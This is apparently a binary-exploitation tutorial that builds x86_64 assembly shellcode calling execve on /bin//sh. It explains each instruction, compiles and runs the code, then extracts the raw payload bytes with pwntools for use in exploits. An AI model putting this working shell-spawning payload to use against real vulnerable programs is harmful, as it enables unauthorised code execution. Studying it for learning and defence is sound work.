---
search:
  exclude: true
---
# Assembly x86_64 - Spawning a Shell

## Assembly Code 

We're going to use vim to write our code
    
    
    [ 192.168.0.18/24 ] [ /dev/pts/88 ] [~/binexp/asm]
    → vim 7.asm
    
    
    
    
    section .text
            global _start
    
    _start:
            xor esi, esi
            xor edx, edx
    
            push 0x3b
            pop rax
            mov rbx, 0x68732f2f6e69622f
            push rsi
            push rbx
            mov rdi, rsp
            syscall
    
    

Now let's check out what is new in the above code:
    
    
    _start:
            xor esi, esi
            xor edx, edx
    
    
    

using xor on the same register has the property of being equivalent to mov esi, 0 but being shorter (only 2 bytes) the processor recognizes the special case and treats it as a mov esi, 0 so the execution time is the same. so we clear out the esi and edx registers,
    
    
    push 0x3b                       ;push the value of the syscall id onto the stack (0x3b is 59)
    pop rax                         ;take the out the top of the stack to put it into rax
    
    

Next we push the value 0x3b (59) onto the stack, and then pop the value out into rax, The equivalent is **mov rax, 59** However this results in a shorter shellcode as we're going to see later on. Now since we have our execve() syscall, we want to give it an arguement, we want it to spawn **/bin/sh** and we want it to be 8 bytes so we get the following: **/bin//sh** :
    
    
    [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
    → echo '/bin//sh' | xxd
    00000000: 2f62 696e 2f2f 7368 0a                   /bin//sh.
    
    [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
    → echo 'hs//nib/' | xxd
    00000000: 6873 2f2f 6e69 622f 0a                   hs//nib/.
    
    

So we get our following mov instruction:
    
    
    mov rbx, 0x68732f2f6e69622f     ; put the little endian hex val of '/bin//sh'  into rbx
    
    

## Compiling 

Here we're going to use nasm to compile our assembly code and then ld to create the binary file: 
    
    
    [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
    → nasm -f elf64 7.asm
    
    [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
    → ld 7.o -o 7
    
    [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
    → ./7
    
    [ 192.168.100.1/24 ] [ /dev/pts/3 ] [/home/nothing/binexp/asm]
    → echo $0 ; exit
    bash
    exit
    
    [ 192.168.0.18/24 ] [ /dev/pts/3 ] [~/binexp/asm]
    → echo $0
    /bin/zsh
    
    

And that's it! But if we wanted to create shellcode for binary exploitation, we would adjust the assembly code as follows:
    
    
    [bits 64]
    
    xor esi, esi                    ; xor out esi and edx
    xor edx, edx
    
    push 0x3b                       ;push the value of the syscall id onto the stack (0x3b is 59)
    pop rax                         ;take the out the top of the stack to put it into rax
    
    mov rbx, 0x68732f2f6e69622f     ; put the little endian hex val of '/bin//sh'  into rbx
    
    push rsi                        ; push the value of rsi
    push rbx                        ; push the value of rbx
    mov rdi, rsp                    ; move the value of rsp ( ) into rdi (first arguement)
    syscall
    
    

And then we would compile it not with the elf64 flag, but this time we don't need a binary file, we want what's called shellcode to use in conjunction with python pwntools:
    
    
    [ 192.168.0.18/24 ] [ /dev/pts/8 ] [~/binexp/asm]
    → nasm -f bin 7.asm
    
    [ 192.168.0.18/24 ] [ /dev/pts/8 ] [~/binexp/asm]
    → cat 7
    11j;XH/bin//shVSH% 
    
    

Now let's view the hexdump of our shellcode inside of python pwntools:
    
    
    [ 192.168.0.18/24 ] [ /dev/pts/7 ] [~/binexp/asm]
    → vim hexdump.py
    
    
    
    
    from pwn import *
    
    #read the shellcode file we compiled
    with open('7', 'rb') as f:
      shellcode = f.read()
    
    print(shellcode)
    
    
    

Here basically we take our shellcode file (named 7) and we store its contents into the shellcode variable. Then we print it:
    
    
    [ 192.168.0.18/24 ] [ /dev/pts/18 ] [~/binexp/asm]
    → python3 hexdump.py
    b'1\xf61\xd2j;XH\xbb/bin//shVSH\x89\xe7\x0f\x05'
    
    

However this isn't all that accurate for us. Here you can see the non-ascii characters being represented as \x00 \x01 \x02 and such. So to get more information on the shellcode characters we should use the hexdump function that's built-in to pwntools:
    
    
    from pwn import *
    
    #read the shellcode file we compiled
    with open('7', 'rb') as f:
      shellcode = f.read()
    
    print(hexdump(shellcode))
    
    

And we get the following result:
    
    
    [ 192.168.0.18/24 ] [ /dev/pts/18 ] [~/binexp/asm]
    → python3 hexdump.py
    00000000  31 f6 31 d2  6a 3b 58 48  bb 2f 62 69  6e 2f 2f 73  │1·1·│j;XH│·/bi│n//s│
    00000010  68 56 53 48  89 e7 0f 05                            │hVSH│····│
    00000018
    
    

And that's it! we have some payload ready to be used for binary exploitation purposes.

